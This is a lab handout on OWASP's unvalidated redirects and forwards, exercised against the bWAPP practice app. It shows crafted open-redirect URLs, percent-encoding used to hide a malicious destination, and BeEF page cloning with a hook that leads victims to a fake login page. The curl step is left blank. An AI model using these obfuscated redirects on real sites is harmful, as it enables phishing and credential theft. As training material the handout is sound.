Week 8 - A10 - Unvalidated Redirects & Forwards
Week 8 - A10 - Unvalidated Redirects & Forwards
Introduction
Web applications frequently redirect and forward users to other pages and websites, and
use untrusted data to determine the destination pages. Without proper validation, attackers
can redirect victims to phishing or malware sites, or use forwards to access unauthorized
pages.
Reference: -
https://www.owasp.org/index.php/Top_10_2010-A10-
Unvalidated_Redirects_and_Forwards
In Windows, run Firefox and access the web page and then run Live HTTP Headers.
The hack involves a social engineering (phishing) attack of sending the user a link that will
take them to a different page and using obfuscation to mask the real URL. i.e.
http://192.168.1.100/bWAPP/unvalidated_redir_fwd_1.php?url=http%3A%2F
%2Fitsecgames.blogspot.com&form=submit
http://192.168.1.100/bWAPP/unvalidated_redir_fwd_1.php?url=http%3A%2F
%192.168.1.1/bad.html&form=submit
And obfuscate the real location of the link (i.e. obfuscate http://192.168.1.1/bad.html) : -
http://192.168.1.100/bWAPP/unvalidated_redir_fwd_1.php?url=%68%74%74%70%3a%2f
%2f%31%39%32%2e%31%36%38%2e%31%2e%31%2f%62%61%64%2e%68%74%6d
%6c&form=submit
Using the following link obfuscator, prove that the three links below are the same
(i.e. they all re-direct to www.bbc.co.uk http://codewelt.com/proj/urlobfuscator
http://192.168.1.100/bWAPP/unvalidated_redir_fwd_1.php?
url=http://www.bbc.co.uk&form=submit
http://192.168.1.100/bWAPP/unvalidated_redir_fwd_1.php?url=%68%74%74%70%3A%2F
%2F%77%77%77%2E%62%62%63%2E%63%6F%2E%75%6B&form=%73%75%62%6D%69%74
http://192.168.1.100/bWAPP/unvalidated_redir_fwd_1.php?%75%72%6C=
%68%74%74%70%3A%2F%2F%77%77%77%2E%62%62%63%2E%63%6F%2E%75%6B&
%66%6F%72%6D=%73%75%62%6D%69%74
Using the same technique above, craft an obfuscated URL to re-direct to a web page
of your choosing.
In Kali linux, open a terminal and run Beef using the following: -
cd /user/share/beef-xss
./beef
We will now clone the site and sent it to BEEF using curl. The syntax is as follows: -
Where: -
The BEEF Windows should show similar to the following (i.e. it has cloned the page and
added the Beef hook to the top of it).
http://192.168.1.100/bWAPP/unvalidated_redir_fwd_1.php?
url=http://www.bbc.co.uk&form=submit
http://192.168.1.100/bWAPP/unvalidated_redir_fwd_1.php?
url=http://192.168.1.1:3000/login.php&form=submit